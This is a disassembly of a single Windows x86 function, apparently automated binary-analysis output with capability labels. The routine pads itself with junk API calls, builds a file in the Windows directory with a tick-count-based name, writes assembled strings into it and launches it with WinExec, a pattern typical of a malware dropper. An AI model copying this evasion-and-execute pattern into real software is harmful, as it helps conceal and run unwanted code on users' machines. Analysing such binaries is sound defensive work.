Function at 0x402760
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebx
push esi
add esp, 0xfffff9f8
mov esi, eax
xor ebx, ebx
mov eax, esi
call fcn.0040270c
cmp al, 1
jne 0x4029e1
call sub.kernel32.dll_GetTickCount
push 0x4029ec
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_lstrcatA
push 4
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_RtlZeroMemory
push esp
push 0x4029f0
lea eax, [esp + 0xc]
push eax
call sub.user32.dll_wvsprintfA
call sub.user32.dll_GetForegroundWindow
call sub.kernel32.dll_GetTickCount
push 1
call sub.kernel32.dll_Sleep
push 0x4029ec
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_lstrcpyA
push 0x104
lea eax, [esp + 0x108]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
push 4
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_RtlZeroMemory
push 1
call sub.kernel32.dll_Sleep
call sub.kernel32.dll_GetTickCount
push 0x4029ec
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_lstrcpyA
call sub.user32.dll_GetForegroundWindow
push 1
call sub.kernel32.dll_Sleep
push 0
call sub.kernel32.dll_CloseHandle
push esp
push 0x4029f0
lea eax, [esp + 0xc]
push eax
call sub.user32.dll_wvsprintfA
call sub.kernel32.dll_GetTickCount
push 0x4029ec
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_lstrcpyA
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_lstrlenA
push 0x4029f4
lea eax, [esp + 0x108]
push eax
call sub.kernel32.dll_lstrcatA
push 0x4029ec
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_lstrcpyA
call sub.user32.dll_GetForegroundWindow
call sub.kernel32.dll_GetTickCount
push 0
call sub.user32.dll_IsWindowEnabled
push 0x4029ec
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push esi
call sub.kernel32.dll_lstrlenA
push 0x104
lea eax, [esp + 0x108]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
push 1
call sub.kernel32.dll_Sleep
call sub.user32.dll_GetForegroundWindow
call sub.kernel32.dll_GetTickCount
push 0x4029fc
lea eax, [esp + 0x108]
push eax
call sub.kernel32.dll_lstrcpyA
call sub.kernel32.dll_GetTickCount
mov dword [esp], eax
push esp
push 0x4029f0
lea eax, [esp + 0xc]
push eax
call sub.user32.dll_wvsprintfA
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x108]
push eax
call sub.kernel32.dll_lstrcatA
push 0x4029f4
lea eax, [esp + 0x108]
push eax
call sub.kernel32.dll_lstrcatA
lea eax, [esp + 0x104]
call fcn.00402734
cmp al, 1
jne 0x4029e1
push 0x402a04
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcpyA
push 0x402a10
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0x402a18
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push esi
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0x402a24
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push esi
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0x402a3c
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push esi
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0x402a4c
lea eax, [esp + 0x20c]
push eax
call sub.kernel32.dll_lstrcatA
push 0
push 1
lea eax, [esp + 0x210]
push eax
call sub.kernel32.dll_lstrlenA
mov ecx, eax
lea edx, [esp + 0x210]
lea eax, [esp + 0x10c]
call fcn.00402a8c
push 0
lea eax, [esp + 0x108]
push eax
call sub.kernel32.dll_WinExec
mov bl, 1
mov eax, ebx
add esp, 0x608
pop esi
pop ebx
ret